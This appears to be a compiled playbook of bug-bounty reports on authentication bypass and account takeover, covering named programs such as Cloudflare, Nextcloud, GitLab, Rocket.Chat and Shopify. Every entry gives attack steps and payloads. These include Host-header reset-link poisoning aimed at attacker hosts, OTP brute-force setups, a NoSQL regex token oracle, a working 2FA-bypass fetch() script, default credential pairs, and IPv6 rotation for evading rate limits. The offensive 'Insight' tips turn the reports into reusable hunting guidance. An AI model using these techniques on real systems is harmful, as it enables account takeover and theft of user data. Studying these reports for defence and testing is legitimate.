Insight β Auth lookups that query by a nullable secret column are dangerous: if attacker input makes the secret NULL/empty, find_by(id, secret: nil) matches records whose secret was never set. Test empty/blank token halves in composite auth keys, and any 'find by id + token' pattern where token can be nulled.
Real-world example
Sensitive endpoint reachable in partial (post-password/pre-2FA) auth state
β High
Specimen #1805779 Β· cloudflare Β· awarded Β· 84 votes Β· resolved
Program cloudflareSurface apiChain Partial-auth -> recovery-code disclosure -> 2FA bypassTag account-takeover
Root cause
After verifying username/password but before completing the security-key 2FA step, the account is partially authenticated enough to call an API that returns 2FA recovery codes, allowing an attacker with only the password to obtain recovery codes and bypass 2FA.
Method
- Log in with a victim password up to the 2FA prompt (do not complete security-key touch)
- In that intermediate session, call the recovery-codes API endpoint
- Receive recovery codes; use them to complete login without the security key
GET /api/.../two_factor/recovery_codes # succeeds in post-password, pre-2FA session state
Insight β Map which endpoints are reachable in the 'password verified, 2FA pending' state. Any endpoint returning recovery codes, tokens, account data, or performing sensitive actions in that state is a 2FA bypass. Enforce full-auth (2FA complete) on such routes.
Real-world example
SSO plugin default-password accounts bypassed via XMLRPC
β High
Specimen #138869 Β· uber Β· 7000 Β· 82 votes Β· resolved
Program uberSurface webChain SSO shadow account (@@@nopass@@@) -> XMLRPC auth bypass -Tag account-takeover
Root cause
The OneLogin WordPress SSO plugin creates local users with a sentinel password @@@nopass@@@ and only blocks wp-login.php, leaving xmlrpc.php honoring the WP user DB - so those default-password accounts are usable via XMLRPC.
Method
- Identify WP sites using OneLogin SSO where wp-login is restricted
- Guess a valid username (email) provisioned via SSO
- Call xmlrpc.php with password @@@nopass@@@ (wp.getOptions, wp.newPost, metaWeblog.newMediaObject)
- Create posts / upload files; escalate toward stored XSS / RCE depending on privileges
curl 'https://target/xmlrpc.php' -H 'Content-type: application/xml' --data-binary @call.xml
# call.xml: wp.getOptions with params: blogid, cbarry@uber.com, @@@nopass@@@
Insight β SSO/social-login plugins often create shadow accounts with fixed placeholder passwords and only lock the main login form - always test xmlrpc.php (and REST/app-password) endpoints against those sentinel creds. Enumerate usernames from author archives / leaked emails.
Real-world example
Password-reset link poisoning via Host header injection -> account takeover
β High
Specimen #226659 Β· concretecms Β· none Β· 71 votes Β· resolved
Program concretecmsSurface webChain Host header injection -> poisoned reset link -> token Tag account-takeover
Root cause
Concrete CMS built the password-reset link from the request Host header ($_SERVER['HTTP_HOST']); an attacker-controlled Host makes the emailed reset link point to the attacker's server, leaking the victim's reset token when clicked.
Method
- Go to the forgot-password page and submit the victim's email.
- Intercept the POST and change the Host header to your server.
- Victim receives a reset email whose link points to your host; when they click it, the reset token appears in your server logs.
- Use the token on the real reset endpoint to set a new password.
curl -i -s -k -X POST \
-H 'Host: attacker.tld' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b '<COOKIES>' \
--data-binary 'ccm_token=<token>&uEmail=victim@mail.com&resetPassword=' \
'http://TARGET/index.php/login/callback/concrete/forgot_password'
Insight β If password-reset/absolute-URL generation trusts the Host (or X-Forwarded-Host) header, you can redirect the emailed link and steal the token. Fix/verify pattern: server should use a configured canonical hostname (SERVER_NAME), not HTTP_HOST.
Real-world example
2FA enforcement bypass by swapping session-passphrase between two logins
β High
Specimen #1050244 Β· nextcloud Β· USD 750 Β· 63 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
For an account subject to 2FA enforcement (but not yet configured), logging in twice concurrently and replacing the oc_sessionPassphrase cookie of one session with the other's yields an authenticated session that skips the 2FA-enforcement gate.
Method
- Have (or be added to) an account in a group with enforced-but-unconfigured 2FA
- Open two concurrent login sessions with the same credentials
- Replace session A's oc_sessionPassphrase with session B's value
- Load the app with the spliced cookies -> dashboard access without completing 2FA
# python: log in twice, then
cookies['oc_sessionPassphrase'] = secondSession.getCookies()['oc_sessionPassphrase']
# set spliced cookies in browser -> bypass enforcement
Insight β Test 2FA/step-up enforcement under concurrency: open multiple sessions and cross-pollinate session tokens/passphrases. Enforcement tied to a single session state often desyncs when tokens are swapped.
Real-world example
Host header injection poisons password-reset link (ATO)
β High
Specimen #281575 Β· mavenlink Β· awarded Β· 62 votes Β· resolved
Program mavenlinkSurface webChain host header injection -> reset token theft -> account Tag account-takeover
Root cause
The password-reset email built its reset URL from the request Host header; a spoofed Host makes the emailed link point to the attacker's domain, leaking the reset token when the victim clicks (email comes from real infra, so it looks legitimate).
Method
- Trigger password reset for the victim with a modified Host header
- Server emails a reset link whose host = attacker domain but token = victim's
- Victim clicks; the valid reset token is delivered to the attacker's server
- Attacker uses the token to reset the victim's password
POST /password/reset HTTP/1.1
Host: attacker.com
...
email=victim@target.com
Insight β On every password-reset/verification flow, tamper Host / X-Forwarded-Host and inspect whether the emailed link uses it. If so, it's token-leaking ATO (same root class as host-header open-redirect, higher impact).
Real-world example
Brute-forcing a short numeric SMS OTP with no rate limit
β High
Specimen #1991376 Β· indrive Β· awarded Β· 56 votes Β· resolved
Program indriveSurface webTag account-takeover
Root cause
An admin login accepts a 4-digit SMS code with no attempt throttling; the small keyspace is exhausted in seconds, and the target phone number is found via WHOIS.
Method
- Find the admin panel via directory scanning (/admin/auth)
- Recover the admin phone number from WHOIS registrant data
- Trigger the OTP send, then brute the 4-digit code with high concurrency within its validity window
- Use the returned session cookie to access the admin panel
POST /proxy/truck/api/admin/login
{"phone":"<admin phone>","code":"1234"} # Intruder over 0000-9999, 20 threads
Insight β Short numeric OTP/PIN with no lockout is fully brute-forceable inside its TTL; combine with OSINT (WHOIS/leaks) for the identifier. Always test verification codes for missing per-account/per-code attempt limits.
Real-world example
Non-expiring short OTP enables brute-forced phone verification
β High
Specimen #792295 Β· bumble Β· awarded Β· 49 votes Β· resolved
Program bumbleSurface webTag account-takeover
Root cause
A 4-digit phone-verification OTP had no server-side expiry, giving an attacker unlimited time to try all 10,000 codes; rate limiting was scoped per-IP and dodged by rotating IPs, so any phone number could be 'verified' without controlling it.
Method
- Trigger OTP send to a target phone number
- Brute the 4-digit code across the whole 0000-9999 space
- Rotate source IP (VPN/proxy pool) to evade per-IP rate limits; because the OTP never expires, time pressure is removed
- Complete verification and register/impersonate on that number
POST /registration/confirm-phone
otp=0000..9999 # rotate X-Forwarded-For / source IP per burst
Insight β For any OTP/2FA code, test two properties independently: length/entropy AND expiry. A short code is only safe if it expires fast AND rate limiting is global (per-account/per-number), not per-IP. Non-expiring codes make IP-rotation brute force trivial.
Real-world example
Reset-token brute force: throttling on whole flow except the token-check endpoint
β High
Specimen #1987062 Β· nextcloud Β· USD 500 Β· 46 votes Β· resolved
Program nextcloudSurface webChain reset request -> brute reset token (unthrottled) -> paTag account-takeover
Root cause
The lostpassword flow was annotated with brute-force protection everywhere except the endpoint that actually validates the reset token, leaving the token guessable without throttling (CVE-2023-35172).
Method
- Trigger a password reset for the victim to generate a token.
- Brute-force the token against the reset-confirmation endpoint (LostController set-password), which lacks throttling.
- Valid token -> set attacker-chosen password -> ATO.
# Endpoint lacking bruteforce protection (Nextcloud core/Controller/LostController.php):
POST /index.php/lostpassword/set/{TOKEN}/{userId} HTTP/1.1
# iterate {TOKEN} without being throttled
Insight β Audit multi-step reset flows endpoint by endpoint. Devs often throttle the request-reset step and the UI, but forget the token-validation/set-password step, which is exactly the one worth brute forcing.
Real-world example
Account takeover chain: username enumeration + unthrottled login brute force
β High
Specimen #209008 Β· automattic Β· awarded Β· 40 votes Β· resolved
Program automatticSurface webChain username enumeration -> unthrottled login brute force -&gTag account-takeover
Root cause
CAPTCHA protected signup/forgot-password but a sibling endpoint (resend-verify) had no rate limit and returned verbose user-exists responses, enabling username/email harvesting; the login API (wp-json/brc/v1/login) also had no rate limit/lockout, so harvested accounts are brute-forced to takeover.
Method
- Hit the unprotected resend-verify endpoint with candidate emails; verbose response reveals which exist.
- Feed valid emails to the login endpoint and brute passwords (no CAPTCHA/lockout, ~100/min single-threaded).
- Successful guess -> account takeover.
POST /wp-json/brc/v1/resend-verify HTTP/1.1
Host: en.instagram-brand.com
X-WP-Nonce: 30436dbdab
Content-Type: application/x-www-form-urlencoded
email=candidate@example.com
---
POST /wp-json/brc/v1/login/ HTTP/1.1
Host: en.instagram-brand.com
username=victim@example.com&password=GUESS
Insight β Protection on the obvious endpoint (login/signup CAPTCHA) is worthless if a sibling API (resend-verify, check-email, forgot-password JSON) leaks existence and is unthrottled. Enumerate all account-touching endpoints, not just the login form.
Real-world example
Path traversal leaks Workhorse JWT + Geo-GL-Id impersonation
β High
Specimen #1040786 Β· gitlab Β· awarded Β· 34 votes Β· resolved
Program gitlabSurface apiChain URL-clean path traversal -> leak Workhorse JWT -> Geo-Tag jwtTag path-traversal
Root cause
Workhorse cleaned/normalized the URL before Rails saw it, so a traversal path in the Terraform state API reflected the internal signed Workhorse JWT in the response; that JWT plus the Geo-GL-Id header let the attacker authenticate to Gitaly as any SSH key id.
Method
- POST to /terraform/state/%2e%2e%2f... to write a file via the state upload path
- GET the traversal path to read back the multipart response containing mirror.gitlab-workhorse-upload (the signed JWT)
- Fork a target public/internal project and clone over HTTP
- Push with path changed to /-/push_from_secondary/2/<proj>.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack, adding Gitlab-Workhorse-Api-Request: <JWT> and Geo-GL-Id: key-<id> (id brute-forced from 1)
POST /api/v4/projects/<id>/terraform/state/%2e%2e%2f%2e%2e%2fwikis%2fattachments?serial=1
GET /api/v4/projects/<id>/terraform/state/%2e%2e%2f%2e # response contains mirror.gitlab-workhorse-upload=<JWT>
POST /-/push_from_secondary/2/<proj>.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack
Geo-GL-Id: key-1
Gitlab-Workhorse-Api-Request: <leaked JWT>
Insight β Front-end proxies that rewrite URLs before the app create traversal/desync primitives; internal signed tokens returned in responses can be replayed. Trusted internal headers (Geo-GL-Id) that select identity by incremental key id are impersonation sinks.
Real-world example
NoSQL $regex injection in invite-token validator -> registration bypass
β High
Specimen #1071102 Β· rocket_chat Β· none Β· 29 votes Β· resolved
Program rocket_chatSurface apiChain NoSQL injection -> invite-token leak -> account registTag account-takeover
Root cause
An unauthenticated route (validateInviteToken) passed the client-supplied token straight to Invites.findOneById() without type-checking, so a JSON object ({$regex}) reached the Mongo query, turning a boolean validity oracle into a token-guessing primitive.
Method
- POST an object instead of a string as 'token' to confirm regex is honored ({valid:true})
- Anchor the regex per character (^a.*, ^b.*, ...) and read the boolean to leak the token char-by-char
- Browse /invite/{leaked_token} and register an account (bypasses disabled public registration)
curl 'https://TARGET/api/v1/validateInviteToken' -H 'content-type: application/json' -d '{ "token": { "$regex": ".*" } }'
Insight β Any unauthenticated endpoint that returns a boolean and forwards user input into a Mongo query is a NoSQL oracle - send {$regex}/{$gt} objects and brute short secrets (tokens, codes) character-by-character. Always test JSON-typed params, not just strings.
Real-world example
Admin panel with browser-autofilled default credentials -> internal API + SQLi
β High
Specimen #923022 Β· acronis Β· 250 Β· 26 votes Β· resolved
Program acronisSurface webChain default creds -> admin panel -> internal API bearer to
Root cause
A reachable admin panel had default credentials (admin@test.com/password) that the browser autofilled, granting admin access, a bearer token for the internal API, and a further SQL injection.
Method
- Discover the admin panel; try common default creds (admin@test.com/password) - browser may autofill saved defaults
- Log in and lift the Authorization: Bearer token for the internal API host
- Reach internal API endpoints (dev.acronis.host) with the token; probe params for SQL injection
Username: admin@test.com
Password: password
# then: GET /api/admin/pages?...&filter=%7B%7D&search= with Authorization: Bearer {token}
Insight β Dev/staging admin panels ship weak/default creds and sometimes autofill them; harvest the resulting API token and pivot to the internal API, which is usually less hardened (chainable to SQLi). Note browser-autofilled fields as a tell that defaults were saved.
Real-world example
OTP verification bypass by rewriting the server response to success
β High
Specimen #1314172 Β· mtn_group Β· none Β· 24 votes Β· resolved
Program mtn_groupSurface web
Root cause
The OTP/NIN verification decision was trusted from a client-visible response; intercepting the verify response and changing the status to success marked the number as verified without a correct code.
Method
- Submit the NIN + mobile number to trigger the OTP send
- Enter any 6-digit code and intercept the response in Burp ('do intercept response')
- Change the response status/body to success -> the number is verified with an arbitrary code
# Verify response, edit e.g.:
{"status":"error"} -> {"status":"success"}
Insight β When a verification step's outcome is reflected to the client, tamper the response (Burp intercept-response) to force success - the classic 'client trusts response' flaw. Applies to OTP, email/phone verification, and payment confirmations.
Real-world example
Default credentials on exposed Tomcat Manager
β High
Specimen #1267174 Β· jetblue Β· none Β· 23 votes Β· resolved
Program jetblueSurface webChain Manager login -> WAR upload -> RCETag file-upload
Root cause
An admin management interface is exposed to the internet still carrying vendor default credentials, granting full admin access (and, for Tomcat Manager, WAR upload -> RCE).
Method
- Fingerprint the server banner (Apache Tomcat/6.0.35)
- Browse /manager/html
- Log in with default tomcat:tomcat (also admin:admin, admin:tomcat)
- Deploy a WAR for code execution
GET /manager/html HTTP/1.1
Host: TARGET
Authorization: Basic dG9tY2F0OnRvbWNhdA== # tomcat:tomcat
Insight β Always try vendor default creds against exposed admin panels (Tomcat Manager, file managers, appliances). Tomcat Manager access is an RCE primitive via WAR deploy, not just info exposure.
Real-world example
Password reset token not invalidated / not single-use
β High
Specimen #283550 Β· infogram Β· none Β· 20 votes Β· resolved
Program infogramSurface webTag account-takeover
Root cause
Requesting a second reset token does not invalidate the first, and completing a reset with token2 does not expire token1; the stale token1 still resets the password afterwards.
Method
- Request reset link (token1), leave it unused
- Request another reset link (token2)
- Use token2 to change the password
- Later use token1 -> still valid, resets the password again
GET /reset?token=<token1> # still 200/valid after token2 already used & password changed
Insight β Always test reset-token lifecycle: are tokens single-use, invalidated when a newer one is issued, and invalidated on password change? Stale valid tokens enable delayed takeover (e.g. via a still-open inbox).
Real-world example
Mass account takeover via common-password credential stuffing (no lockout)
β High
Specimen #180388 Β· eternal Β· none Β· 15 votes Β· resolved
Program eternalSurface apiChain username enumeration -> password spray -> bulk accountTag account-takeover
Root cause
The login/auth API enforces no rate limiting or lockout, and many accounts use trivial passwords, so iterating usernames against a tiny common-password list yields authenticated sessions at scale.
Method
- Enumerate valid usernames
- Spray a short common-password list (123456, 12345, qwerty, 12345678, 123456789)
- Detect success via response body ('status':'true' + user_id) vs failure/verification message
- Harvest user_id/name for each hit
POST /login
username=<name>&password=123456
# success tell: {"status":"true","name":"...","isNew":false,"user_id":N}
Insight β Password spraying (one password across many users) evades naive per-account lockout. Distinguish valid-but-wrong from valid-success by the JSON tell; unverified accounts return a distinct 'verification pending' message that also confirms username validity.
Real-world example
Exposed appliance with default credentials -> RCE
β High
Specimen #684758 Β· deptofdefense Β· none Β· 14 votes Β· resolved
Program deptofdefenseSurface networkChain Default creds -> admin -> startup-script RCE -> devTag account-takeover
Root cause
An internet-exposed Cisco TelePresence SX80 kept factory default admin:admin credentials, granting full admin auth and code execution by adding startup scripts.
Method
- Find the exposed device (pivot from a nearby known device by scanning the same ASN/IP /24 - here after #684070)
- Log in with admin:admin
- With admin access, add a startup script via /web/scripts to achieve code execution
- Full device control enables traffic interception / persistent backdoor
# login: admin:admin
# RCE: upload startup script at https://TARGET/web/scripts
Insight β After finding one vulnerable device, sweep the surrounding ASN/CIDR for siblings running the same firmware/default creds. Network appliances (video, printers, iDRAC/IPMI, cameras) with default creds are high-impact: admin often means script/OS execution.
Real-world example
Passwordless login (email-only) -> ATO chained to stored XSS
β High
Specimen #1483201 Β· gsa_vdp Β· none Β· 14 votes Β· resolved
Program gsa_vdpSurface webChain Email-only login -> ATO -> PII disclosure + stored XSSTag account-takeover
Root cause
The sign-in form authenticates on email address alone with no password or verification, so anyone can log into any registered user's account by entering their email; the attacker then reads PII and stores an XSS payload in the profile.
Method
- Go to the sign-in form
- Enter the victim's email address only (no password required)
- You are logged in as the victim; view PII (phone numbers)
- Store an XSS payload in an editable profile field (e.g. first name)
ant" autofocus onfocus=prompt(1) x="
Insight β Test whether a login truly requires a secret: submit a known email with blank/garbage password or via an alternate auth endpoint. 'Authentication' that trusts an identifier alone = universal ATO. Chain ATO -> stored XSS in profile fields for persistence/escalation.
Real-world example
OTP brute force (no rate limit) -> mass account takeover
β High
Specimen #761000 Β· mtn_group Β· none Β· 13 votes Β· resolved
Program mtn_groupSurface webChain OTP brute force -> login/verification bypass -> accounTag account-takeover
Root cause
The OTP submit endpoint enforces no rate limit and the code is short (e.g. 5 digits) with a multi-minute validity window, so the code space can be exhausted before expiry to take over any account.
Method
- Trigger OTP send for the victim's account/number
- Reach the OTP submit request and send it to Intruder
- Brute force the numeric code space (e.g. 00000-99999) with no lockout
- A non-'try again' response (not 303) indicates the correct code -> account takeover
POST /nim/submit HTTP/1.1
Host: mtnonline.com
Content-Type: application/x-www-form-urlencoded
otp=Β§NNNNNΒ§
# wrong -> 303 'try again'; expected 429 if rate-limited (it is not)
Insight β Short numeric OTP + no rate limit + validity window longer than brute time = guaranteed ATO. Check the SUBMIT/verify endpoint (not send) for 429/lockout, and whether lockout is per-account (defeat with IP rotation) or per-IP. Same pattern in email verification codes (#64666) and other MTN OTP endpoints (#1060541).
Real-world example
Client-side-only password confirmation bypassed by response manipulation
β High
Specimen #1040373 Β· khanacademy Β· none Β· 10 votes Β· resolved
Program khanacademySurface webChain response tamper -> link attacker OAuth identity to victimTag account-takeoverTag oauth
Root cause
The password-confirmation gate added to the account-linking flow is validated on the client; the server accepts the link regardless, so replaying/forging the 'password correct' response performs the sensitive action without the real password.
Method
- On attacker account, start account linking (e.g. Gmail); enter correct password when prompted
- Intercept and save the server response to that confirmation
- On the victim session, start linking again and submit any password
- Intercept the response and replace it with the saved success response - link completes
(replace the intercepted confirmation response body with the previously-captured success response)
Insight β Any 'confirm your password' / step-up gate must be re-verified server-side. Test by submitting a wrong password and swapping in a success response - if the action still completes, it was a client-side check. Common regression when patching an earlier missing-reauth bug.
Real-world example
Rocket.Chat 2FA bypass via client-supplied cas flag (CVE-2022-35248)
β High
Specimen #1448268 Β· rocket_chat Β· none Β· 7 votes Β· resolved
Program rocket_chatSurface webChain password known -> cas:true in login body -> 2FA skippeTag account-takeover
Root cause
The onValidateLogin handler returned early (skipping TOTP verification) whenever loginArgs.cas was truthy; because cas is attacker-controlled in the login request body, any 2FA-enabled account could be logged into with just username+password.
Method
- Have valid username+password for a 2FA-enabled account (or otherwise know them)
- Open the login page and run the PoC in the web console
- Send POST /api/v1/login with cas:true so the server skips 2FA and returns userId+authToken
- Store the token and reload β you are in without the second factor
fetch("/api/v1/login", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: `{ "cas": true, "totp": { "code": "x", "type": "resume", "login": { "user": { "username": "USER" }, "password": "PASSWORD" } } }`
})
.then(r=>r.json())
.then(({data:{userId,authToken}})=>{
Meteor._localStorage.setItem(Accounts.USER_ID_KEY, userId);
Meteor._localStorage.setItem(Accounts.LOGIN_TOKEN_KEY, authToken);
location.reload();
});
Insight β MFA/2FA validators often short-circuit for 'alternate' login channels (CAS/SSO/SAML/resume). If the branch that skips the second factor is selected by a client-controlled field, you can force that path. Enumerate every login-method flag the client can send and test whether any bypasses 2FA server-side.
Real-world example
Leaked thread-local security context authenticates unauth requests
β High
Specimen #241244 Β· gocd Β· none Β· 6 votes Β· resolved
Program gocdSurface webChain unauth artifact upload -> stored XSS (chained with #24019
Root cause
A deprecated Spring/Acegi X509ProcessingFilter set a thread-local SecurityContext that was never cleared (no HttpSessionContextIntegrationFilter in the chain); once an agent authenticated on a worker thread, later unauthenticated requests landing on that same thread inherited the valid context and succeeded.
Method
- Confirm /go/remoting/* and /go/agent-websocket return 403 unauthenticated
- Start an agent so it authenticates (populates a thread's security context)
- Repeatedly send unauthenticated requests; a fraction hit a 'dirty' thread and authenticate (500/artifact returned instead of 403)
- Read or upload artifacts unauthenticated (chainable to stored XSS via upload)
for i in $(seq 1 200); do curl http://TARGET:8153/go/remoting/api/admin/config.xml; done # some succeed
Insight β Thread-pooled servers that store auth in thread-locals must clear it per request. Symptom to watch for: intermittent success/failure of identical requests (auth 'randomly' passes) points to shared-thread context leakage.
Real-world example
Adobe Experience Manager default endpoints + default credentials
β High
Specimen #710813 Β· deptofdefense Β· none Β· 4 votes Β· resolved
Program deptofdefenseSurface webChain default endpoint discovery -> default creds -> reposit
Root cause
An exposed AEM instance leaves default administrative endpoints reachable and protected only by default/known credentials, granting access to the CRX repository and admin console.
Method
- Fingerprint AEM and fuzz for default paths: /repository, /crx, /lc, /system/console, /libs/granite.
- Authenticate with AEM default credentials (admin, and other well-known accounts).
- Pivot from /repository to further admin panels (e.g. /lc).
# AEM default endpoint probing
GET https://TARGET/repository # auth prompt
GET https://TARGET/crx/de/index.jsp
GET https://TARGET/lc
# try AEM default creds (admin:admin, and other stock accounts)
Insight β For any Adobe Experience Manager target, enumerate the well-known AEM dispatcher/CRX paths and test default credentials before anything else; misconfigured/unused AEM instances routinely ship them enabled.
Real-world example
PIN lockout bypass via device clock manipulation
β High
Specimen #1257586 Β· yoti Β· awarded Β· 83 votes Β· resolved
Program yotiSurface mobile-iosTag account-takeover
Root cause
The 5-minute lockout after failed PIN attempts is enforced against the device's local date/time, not a server clock; changing device time defeats the lockout and enables unlimited PIN brute force.
Method
- Set a PIN, fail 5-6 attempts to trigger the 5-minute lockout
- Change the device date/time settings forward
- Return to app -> further PIN attempts allowed with no wait
Insight β Any rate-limit/lockout enforced client-side against device time is defeatable by rolling the clock. Test offline/local PIN and lockout logic by changing the device date/time.
Real-world example
Email-verification / domain-allowlist bypass via federated SSO
β High
Specimen #617896 Β· gitlab Β· awarded Β· 55 votes Β· resolved
Program gitlabSurface webTag oauthTag saml
Root cause
When an app trusts a federated identity provider's asserted email as verified, but that IdP lets an admin/tenant mint identities with arbitrary unverified emails (Salesforce), an attacker logs in via SSO and lands an account with any email they choose β bypassing email verification and any domain allow/deny lists.
Method
- Stand up / control an IdP tenant (here Salesforce) that lets you set an arbitrary user email
- Authenticate to that IdP as the arbitrary-email user
- Use the target's 'Login with <IdP>' flow
- You are provisioned/logged in with the asserted email, unverified, bypassing domain restrictions
Insight β Never assume an SSO-asserted email is proof of ownership. Test every 'Sign in with X' path: if the IdP permits attacker-set emails, you bypass verification and domain gating (SSO signup, invite-only orgs, email-domain-based auto-join).
Real-world example
SSO auth bypass via email-confirmation bypass through invite-accept
β High
Specimen #2037902 Β· automattic Β· awarded Β· 41 votes Β· resolved
Program automatticSurface webChain register WP.com with victim email -> invite-accept marks Tag account-takeoverTag oauth
Root cause
Jetpack SSO ('Match accounts using email addresses') logs a WordPress.com user into a self-hosted site by matching email; combined with a flaw where accepting an invite marks an unverified WP.com email as confirmed, an attacker can register a WP.com account with the victim's site email, get it 'verified' via invite-accept, and SSO straight into wp-admin.
Method
- Register a WP.com account using the target site user's email (email not owned/verified)
- From a second confirmed WP.com account, invite that email; accept the invite from the first account -> email now shows verified
- On the target self-hosted site with Jetpack SSO + email matching, click 'Sign in with WordPress.com' -> logged in as that (admin) user
Insight β When SSO federates identity by email, the whole trust hinges on email verification. Hunt for any side path that flips an unverified email to verified (invite-accept, org join, social link). Chaining email-confirmation bypass into email-matched SSO = full account/admin takeover on every relying site.
Real-world example
Federated login (Sign in with Apple) bypasses 2FA
β High
Specimen #1593404 Β· cloudflare Β· USD 1000 Β· 31 votes Β· resolved
Program cloudflareSurface webChain Apple ID with victim email -> SiwA -> 2FA-less accountTag oauthTag account-takeover
Root cause
The Sign-in-with-Apple flow logged into an existing account matched by email address without enforcing that account's configured 2FA, so an attacker who controls an Apple ID with the victim's email logs in without the second factor.
Method
- Create/control an Apple ID whose email matches the target Cloudflare account
- Use Sign in with Apple on the Cloudflare login
- Get logged into the existing account without being prompted for its 2FA
Insight β SSO/social login paths frequently skip the account's local 2FA. For any account with 2FA, test every alternate login path (Apple/Google/SAML/magic-link) to see if the second factor is enforced.
Real-world example
Bypass client-certificate auth by cancelling the certificate prompt
β High
Specimen #2858876 Β· deptofdefense Β· none Β· 28 votes Β· resolved
Program deptofdefenseSurface web
Root cause
The site presented a client-certificate selection prompt but did not actually enforce mutual-TLS on the protected pages; dismissing the prompt (Cancel) let the request through to an authenticated profile/dashboard.
Method
- Visit the site; when asked to select a client certificate, click Cancel (do not present one)
- Proceed through the agreement/login link
- Land on the authenticated Dashboard exposing PII (name, email, EDIPI)
Insight β When a site pops a client-cert selector, test cancelling it - cert auth is sometimes only a soft prompt and the app falls through to authenticated content. Presenting no cert can behave differently from presenting an invalid one.
Real-world example
Security control enforced on primary flow but missing on equivalent alternate flow (2FA bypass)
β High
Specimen #7369 Β· coinbase Β· awarded Β· 2 votes Β· resolved
Program coinbaseSurface webTag account-takeover
Root cause
Account setting required 2FA for sending BTC, but the paper-wallet export path performed the same value-moving action without prompting for 2FA - an alternate egress route that was not covered by the same authorization control.
Method
- Enable the account setting that requires 2FA for sending funds
- Instead of a normal send, use the paper-wallet export feature to move funds out
- Observe funds leave with no 2FA challenge
Insight β Whenever a sensitive control (2FA, approval, rate limit, signing) is attached to one action, enumerate every other function that produces the same effect (export, download, API, alternate endpoint, bulk op). Controls are frequently bound to a single UI path while a semantically equivalent path is left unguarded.
Real-world example
Defeat IP-based login rate limiting via IPv6 /64 address rotation
β Medium
Specimen #127844 Β· security Β· awarded Β· 161 votes Β· resolved
Program securitySurface webTag account-takeover
Root cause
The login endpoint's only anti-brute-force control was per-IP rate limiting (block if faster than every 4s from one IP). A cheap VPS with a routed IPv6 /64 provides effectively unlimited source addresses; rotating them keeps each IP under the threshold and allows unbounded credential brute force.
Method
- Provision a cheap VPS with a routed IPv6 /64
- Bind hundreds of IPv6 addresses to the interface
- Rotate source IP per request, keeping >4s between reuse of any single address
- Run a threaded brute-force over a breached-password wordlist against the login endpoint
# assign many IPv6 addrs from the /64 to the NIC, then rotate source per login POST
# effective rate stays under the per-IP limit while total throughput is huge
python brute.py <USER> 10k_most_common.txt <IPV6_LIST_CSV> <THREADS>
Insight β Per-IP rate limits are not a brute-force control against attackers with IPv6 /64 blocks, botnets, or proxy pools. Demonstrate impact by rotating IPv6 source addresses. Real defenses are per-account lockout, CAPTCHA, and credential-stuffing detection - test for their absence, not just IP limits.
Real-world example
Client-trusts-response login bypass (status:false -> true)
β Medium
Specimen #1490470 Β· ups Β· none Β· 104 votes Β· resolved
Program upsSurface webChain auth bypass -> change admin password -> full admin ATOTag account-takeover
Root cause
The SPA gates admin access on a boolean in the login API response instead of a server-issued session; intercepting and flipping the flag grants authenticated UI state.
Method
- Submit admin login with any/wrong password
- In Burp, 'Do intercept > Response to this request'
- Edit JSON response, change status from false to true, forward
- App renders authenticated admin UI (reports, change password, process return)
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{"status":true,"errorMessage":"Username and Password does not match."}
Insight β On any SPA login, intercept the RESPONSE (not just the request) and flip status/success/isAdmin booleans. If the client renders privileged state off a response flag rather than a server session, you get a full auth bypass.
Real-world example
Login-throttle bypass via trailing whitespace in email
β Medium
Specimen #1363672 Β· shopify Β· USD 3500 Β· 102 votes Β· resolved
Program shopifySurface graphqlTag graphql
Root cause
Rate-limit/throttle key is the exact email string while auth lookup normalizes/trims it; appending whitespace produces a new throttle bucket but still resolves to the same account.
Method
- Get a Storefront API token
- Brute customerAccessTokenCreate until 'Login attempt limit exceeded'
- Append a space (or empty-char/null variants) to the email
- Throttle counter resets while login still succeeds against the same user
POST /api/2020-07/graphql
{"query":"mutation { customerAccessTokenCreate(input: {email: \"victim@x.com \", password: \"guess\" }) { customerAccessToken { accessToken } } }"}
Insight β When you hit a login/OTP rate limit, mutate the identity key the limiter uses: trailing/leading whitespace, case, dots, +tags, unicode empty chars, null byte. If auth trims but the limiter doesn't, throttle resets.
Real-world example
2FA brute force with broken throttle/state
β Medium
Specimen #3329361 Β· singlestore Β· none Β· 92 votes Β· resolved
Program singlestoreSurface webTag account-takeover
Root cause
The MFA code (mfaToken) is brute-forceable: the lockout only redirects the browser (303->302) but the underlying verify request still accepts codes, and codes are not invalidated after failures.
Method
- Login with victim email+password, reach 2FA
- Capture the verify request, send to Intruder, fuzz mfaToken as Numbers over the expected window
- Ignore the browser redirect; a correct code still returns 302 and logs in
Intruder payload set: numeric mfaToken 000000-999999 (narrow to the code's numeric neighborhood to speed up)
Insight β A lockout that only changes the browser flow (redirect) but keeps honoring the raw verify endpoint is not a real lockout. Replay the verify request directly and keep fuzzing; check for the success status regardless of UI redirects.
Real-world example
Email-verification bypass by tampering the SignUp email param
β Medium
Specimen #2586433 Β· productboard Β· none Β· 92 votes Β· resolved
Program productboardSurface graphqlChain Invite -> swap email in SignUp -> unauthorized org accTag graphqlTag account-takeover
Root cause
An invitation-driven signup trusts the email supplied in the SignUp request body rather than the address the invite token was issued to, so changing the email field registers/joins as an arbitrary (unverified) address.
Method
- Accept an invite you legitimately received and start setting a password
- Intercept the POST /graphql SignUp mutation
- Change the email in variables.input to any address (even one you don't own) and forward
- Signup completes and you're logged in as that email inside the org, verification skipped
{"operationName":"SignUp","variables":{"input":{"email":"victim@corp.com","link":null,"password":"Passw0rd!","source":"invitation"}},"query":"mutation SignUp($input: SignUpInput!){ auth { signUp(input:$input) __typename } }"}
Insight β When an invite/signup flow carries the email as a client field alongside a token, decouple them: keep a valid token but swap the email. If the token isn't cryptographically bound to the address, you register as an arbitrary identity and skip verification, often into someone else's org.
Real-world example
Missing auth middleware on one documented-private endpoint
β Medium
Specimen #3676308 Β· coinmate Β· none Β· 90 votes Β· resolved
Program coinmateSurface apiTag account-takeover
Root cause
A single endpoint documented and called as a private (HMAC-signed) operation is not wired to the auth filter, so it returns data to unauthenticated requests while its siblings reject them.
Method
- Read the official API docs / client SDK, list endpoints called via postPrivate()/signed methods
- Hit each unauthenticated (curl -X POST)
- Compare: siblings return 'Invalid request'; the misconfigured one returns 200 data
curl -s -X POST https://TARGET/api/bitcoinWithdrawalFees
# 200 with data, no clientId/nonce/signature required
